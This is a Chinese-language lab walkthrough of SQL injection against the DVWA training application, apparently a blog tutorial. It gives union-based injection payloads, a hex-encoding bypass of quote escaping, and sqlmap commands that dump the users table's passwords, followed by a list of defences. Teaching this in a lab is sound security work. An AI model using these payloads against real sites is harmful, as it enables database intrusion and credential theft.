SQL注入简介
SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一

手工注入思路
判断是否存在注入,注入是字符型还是数字型
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入
当输入的参数为字符串时,如果存在注入漏洞,可以认为是字符型注入
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的
猜解
SQL查询语句中的字段数获取当前数据库
获取数据库中的表
获取表中的列名(字段名)
获取数据记录
LOW级别漏洞利用
判断是否存在注入,注入是字符型还是数字型
输入1,查询成功

输入
',出现报错
显示数据库为
MariaDB,即mysql输入
1' and '1'='1,返回正常
输入
1' and '1'='2,无返回
可进行逻辑运算,且出现数据库报错,此为基于报错的SQL注入
需使用'引号来进行闭合,为字符型SQL注入
可猜出查询语句为select [字段1,字段2,...] from 表 where 字段='';
猜解SQL查询语句中的字段数
输入
1' order by 1--,返回正常
输入
1' order by 2--,返回正常
输入
1' order by 3--,出现报错
说明执行的SQL查询语句中只有两个字段(即查询一个数据表中的两列),即这里的First name、Surname
可猜出查询语句为select 字段1,字段2 from 表 where 字段='';
获取当前数据库
输入1' union select 1,database()--

说明当前查询的数据库为dvwa
获取dvwa数据库中的表
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式
其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如:数据库名,数据库的表,列的数据类型与访问权限等
information_schema数据库的table表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个数据库,表类型,表引擎,创建时间等信息
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'--

说明dvwa数据库中存在guestbook,users两张表
可猜出查询语句为select 字段1,字段2 from users where 字段='';
获取dvwa库users表中的列名
information_schema数据库的columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--

发现dvwa库users表中有8列(即字段),分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login
可猜出查询语句为select first_name,last_name from users where user_id='';
获取数据记录
输入1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users--

则得到了dvwa库中users表中所有用户的user_id,first_name,last_name,password的数据
Medium级别漏洞利用
判断是否存在注入,注入是字符型还是数字型
前端使用下拉框限制输入参数

可以使用BurpSuite进行抓包修改输入参数
改包,使输入为
'
报错

发现对
'进行了转义处理改包,使输入为
1' and '1'='1
报错

改包,使输入为
1 and 1=1
正常返回

改包,使输入为
1 and 1=2
无返回

可进行逻辑运算,且出现数据库报错,此为基于报错的SQL注入,但对'等特殊符号进行转义
无需使用'引号来进行闭合,为数字型SQL注入
由于是数字型注入,服务器端对特殊字符的转义就形同虚设了,因为数字型注入并不需要借助引号
可猜出查询语句为select [字段1,字段2,...] from 表 where 字段= ;
猜解SQL查询语句中的字段数
改包,使输入为
1 order by 2--
改包,使输入为
1 order by 3--报错

说明执行的SQL查询语句中只有两个字段(即查询一个数据表中的两列),即这里的First name、Surname
可猜出查询语句为select 字段1,字段2 from 表 where 字段= ;
获取当前数据库
改包,使输入为1 union select 1,database()--

说明当前的数据库为dvwa
获取dvwa数据库中的表
改包,使输入为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--

说明dvwa数据库中存在guestbook,users两张表
可猜出查询语句为select 字段1,字段2 from users where 字段= ;
获取dvwa库users表中的列名
改包,使输入为
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--查询失败

因对
'等特殊字符进行了转义,所以查询失败使用十六进制对过滤进行绕过
使用
BurpSuite将users转换为十六进制0x7573657273
改包,使输入为
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--
发现dvwa库users表中有8列(即字段),分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login
可猜出查询语句为select first_name,last_name from users where user_id= ;
获取数据记录
改包,使输入为1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users--

则得到了dvwa库中users表中所有用户的user_id,first_name,last_name,password的数据
High级别漏洞利用
判断是否存在注入,注入是字符型还是数字型
High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入


High级别在low级别的基础上,在SQL查询语句后加入LIMIT 1,用于希望以此控制只输出一个结果,可通过--注释符来进行注释
High级别对数据库报错进行了处理,显示统一的报错信息
与low级别的注入基本相似
Impossible级别
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性
PHP数据对象(PDO)扩展为PHP访问数据库定义了一个轻量级的一致接口
PDO提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据
SQL注入防御
所有的查询语句都使用数据库提供的参数化查询接口
对进入数据库的特殊字符(
',",select,union,--,#,order by)进行转义处理,或编码转换严格限制数据类型
严格限制参数长度
网站每个数据层的编码统一,建议
UTF-8严格限制网站用户的数据库的操作权限,最小权限原则
统一错误信息提示
使用预编译语句
使用存储过程
白名单验证输入
SQLMAP
爆数据库
1 | python2 sqlmap.py -u "http://172.16.12.85/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=cc7cccd8ffe7bb1d03328b0dace970db; security=low" --dbs --batch |

爆表
1 | python2 sqlmap.py -u "http://172.16.12.85/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=cc7cccd8ffe7bb1d03328b0dace970db; security=low" -D dvwa --tables --batch |

爆字段
1 | python2 sqlmap.py -u "http://172.16.12.85/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=cc7cccd8ffe7bb1d03328b0dace970db; security=low" -D dvwa -T users --column --batch |

爆数据
1 | python2 sqlmap.py -u "http://172.16.12.85/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=cc7cccd8ffe7bb1d03328b0dace970db; security=low" -D dvwa -T users -C user,password --dump --batch |

